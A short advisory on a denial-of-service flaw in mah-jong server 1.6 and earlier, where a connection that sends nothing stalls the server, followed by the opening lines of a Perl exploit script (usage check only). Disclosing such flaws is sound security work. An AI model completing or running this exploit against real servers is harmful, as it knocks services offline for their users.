A vulnerability could be exploited by a remote attacker to cause the mah-jong server to enter a tight loop and stop responding to commands. This is caused by "not" sending anything once you have connected to the server.
Vulnerable systems:
* mah-jong vesion 1.6 and prior
Exploit:
#!/usr/bin/perl -s
use IO::Socket;
# test it in slackware 9.0
# DOS-test--mj1.6--code by jsk
# mahJong 1.6, all versions of mahjong
if(!$ARGV[0] || !$ARGV[1])
{ print "usage: ./dosmj.pl <host> <port>\n"; exit(-1); }